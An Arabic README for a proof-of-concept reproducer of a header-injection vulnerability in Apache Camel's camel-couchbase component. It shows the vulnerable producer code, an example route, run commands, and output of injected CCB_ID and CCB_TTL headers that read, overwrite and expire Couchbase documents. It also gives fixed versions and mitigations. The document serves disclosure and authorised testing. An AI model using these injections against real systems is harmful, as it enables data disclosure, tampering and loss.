
أداة إعادة إنتاج لـ CVE-2026-46587: حقن رأس CCB_* في Apache Camel camel-couchbase مما يتيح الكشف عن المستندات والتلاعب بها وتدمير البيانات القسري عبر TTL (تم إصلاحه في الإصدارات 4.14.8/4.18.3/4.21.0)
CCB_* حقن الرؤوس مستنسخ (CVE-2026-46587)يُظهر هذا المشروع حقن رؤوس الرسائل في مكون Apache Camel camel-couchbase، المُتَعَقَّب باسم CVE-2026-46587. يقرأ المكون عدة رؤوس Exchange للتحكم في سلوكه — CCB_KEY (مفتاح المستند)، CCB_ID (معرف المستند)، CCB_TTL (انتهاء صلاحية المستند)، CCB_DDN (اسم مستند التصميم) و CCB_VN (اسم العرض). قيم السلاسل لثوابت الرؤوس هذه (المعرفة في CouchbaseConstants) هي أسماء عادية غير مسبوقة بدلاً من الأسماء المسبوقة بـ Camel التي يستخدمها كل مكون آخر (مثلاً CamelSqlQuery). يقوم HttpHeaderFilterStrategy الوارد في Camel بحظر أسماء الرؤوس التي تبدأ بـ Camel / camel فقط، لذا تمر هذه الأسماء عبر المرشح الوارد دون تغيير. عندما يعرض مسار نقطة دخول HTTP (مثلاً platform-http) أمام منتج couchbase، يمكن لعميل HTTP غير موثوق تعيين هذه الرؤوس مباشرة وتجاوز معرف المستند، أو TTL، أو اسم مستند التصميم أو اسم العرض الذي قام مؤلف المسار بتكوينه.
يُظهر هذا المثال العملي ثلاثة تأثيرات متميزة من الثغرة الواحدة:
CCB_ID محقون يقرأ مستندًا خارج نطاق المتصل.CCB_ID محقون في كتابة يستبدل مستندًا محميًا.CCB_TTL=1 محقون يجبر مستند المتصل نفسه على التدمير الذاتي بصمت.الإشعار: https://camel.apache.org/security/CVE-2026-46587.html
نفس عائلة حقن الرؤوس مثل CVE-2025-27636، CVE-2026-40453، CVE-2026-46453 و CVE-2026-47323. يشارك الإصلاح PR الخاص به مع الإشعار الشقيق CVE-2026-46588 (camel-couchdb).
// CouchbaseConstants (المتأثر 4.18.2) — أسماء الرؤوس عبارة عن سلاسل عارية غير مسبوقة:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (المتأثر 4.18.2) — المعرف والانتهاء يأتيان مباشرة من تلك الرؤوس:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
يقوم الإصلاح (4.14.8 / 4.18.3 / 4.21.0) بإعادة تسمية قيم الرؤوس إلى اصطلاح Camel — CCB_ID → CamelCouchbaseId، CCB_TTL → CamelCouchbaseTtl، CCB_KEY → CamelCouchbaseKey، CCB_DDN → CamelCouchbaseDesignDocumentName، CCB_VN → CamelCouchbaseViewName — حتى يتم حظرها بواسطة HttpHeaderFilterStrategy الوارد مثل كل رأس تحكم Camel آخر. أسماء حقول الثوابت في Java لم تتغير.
from("platform-http:/save") // و /fetch
.removeHeaders("Camel*") // التقوية الموثقة — انظر أدناه
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // افتراضي لمستند المتصل الخاص
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
يضع المسار افتراضيًا معرف المستند إلى المسودة الخاصة للمتصل وكما هو موثق في التقوية، يقوم بإزالة مساحة اسم رؤوس التحكم الخاصة بـ Camel عند الحافة. هذا لا يساعد: رؤوس التجاوز تسمى CCB_ID / CCB_TTL، وليس CamelCouchbaseId / CamelCouchbaseTtl، لذا لا يتم إزالتها بواسطة removeHeaders("Camel*") ولا بواسطة مرشح رأس HTTP المدمج — وينفذها المنتج.
تم تغذية قاعدة البيانات بمستندين: user-draft (خاص بالمتصل) و system-config (مستند حساس يجب ألا يعرضه نقطة النهاية أبدًا).
الضحية هي مسارات Camel وقاعدة بيانات Couchbase الخاصة بها؛ المهاجم هو عميل HTTP غير مصادق يضبط رؤوس الطلب فقط. أداة SDK صغيرة تقوم بتغذية وقراءة المستندات للتحقق، بشكل مستقل عن المسار الضعيف.
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + مزود لمرة واحدة + التطبيق
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # المضيف / الحاوية / بيانات الاعتماد / معرفات المستندات
│ ├── CouchbaseHarness.java # أداة SDK: تغذية + قراءة المستندات للتحقق
│ ├── VictimRoute.java # platform-http:/save و /fetch -> منتج couchbase
│ └── ExploitController.java # المهاجم: طلبات HTTP مع رؤوس CCB_ID / CCB_TTL محقونة
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> المزود -> التطبيق (البدء الأول يسحب ~1.7GB)
# انتظر سطر سجل التطبيق "Started Application"، ثم:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
يقوم ملف compose بتهيئة كتلة Couchbase أحادية العقدة (KV فقط)، وينشئ الحاوية
mybucketومستخدمappuser، ثم يبدأ التطبيق. يتم استخدام اسم مستعار للشبكة بنقط (couchbase.cve.local) كاسم مضيف للعقدة لأن Couchbase ترفض أسماء المضيف القصيرة.
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
أي مسار به منتج couchbase يمكن الوصول إليه من مستهلك HTTP. الرؤوس القابلة للحقن: CCB_ID / CCB_KEY (معرف/مفتاح المستند → قراءة أو استبدال أو حذف مستندات عشوائية)، CCB_TTL (انتهاء صلاحية قسري → فقدان بيانات)، وعلى جانب المستهلك، CCB_DDN / CCB_VN (أسماء مستندات التصميم والعرض).
الترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (PR الإشعار #23228). بعد الإصلاح، تحمل رؤوس التجاوز بادئة Camel (CamelCouchbaseId, CamelCouchbaseTtl, …) ويتم تصفيتها عند حدود HTTP مثل أي رأس تحكم آخر.
حتى الترقية، قم بإزالة الرؤوس المتأثرة من الرسائل الواردة غير الموثوقة قبل وصولها إلى المنتج، مثلاً .removeHeader("CCB_KEY")، .removeHeader("CCB_ID")، .removeHeader("CCB_TTL")، .removeHeader("CCB_DDN") و .removeHeader("CCB_VN") أمام نقطة نهاية couchbase، أو قم بتطبيق HeaderFilterStrategy مخصص يحظر هذه الأسماء.
يتم توفير هذا المستنسخ للبحث الأمني والاختبار المصرح به فقط، لثغرة مُفصح عنها علنًا ومُصلحة. لا تستخدمه ضد أنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكون | camel-couchbase |
| الفئة المتأثرة | org.apache.camel.component.couchbase.CouchbaseProducer يقرأ CouchbaseConstants.HEADER_ID ("CCB_ID")، HEADER_TTL ("CCB_TTL")، إلخ. |
| CWE | CWE-20: التحقق غير السليم من الإدخال |
| التأثير | عميل HTTP يضبط رؤوس CCB_* ← تجاوز معرف المستند / TTL / مستند التصميم / العرض ← إفصاح، عبث، فقدان بيانات |
| الشروط المسبقة | مسار يعرض منتج couchbase خلف مستهلك HTTP (مثلاً platform-http)؛ غير مصادق عليه عندما يكون المستهلك كذلك |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.14.8، من 4.15.0 قبل 4.18.3، من 4.19.0 قبل 4.21.0 |
| الإصدارات المُصلحة | 4.14.8، 4.18.3، 4.21.0 |
| الإصلاح | PR apache/camel#23228 (main)، تم نقله عبر #23230 (4.18.x) / #23231 (4.14.x) |
| الإشادة | Yu Bao (PayPal) |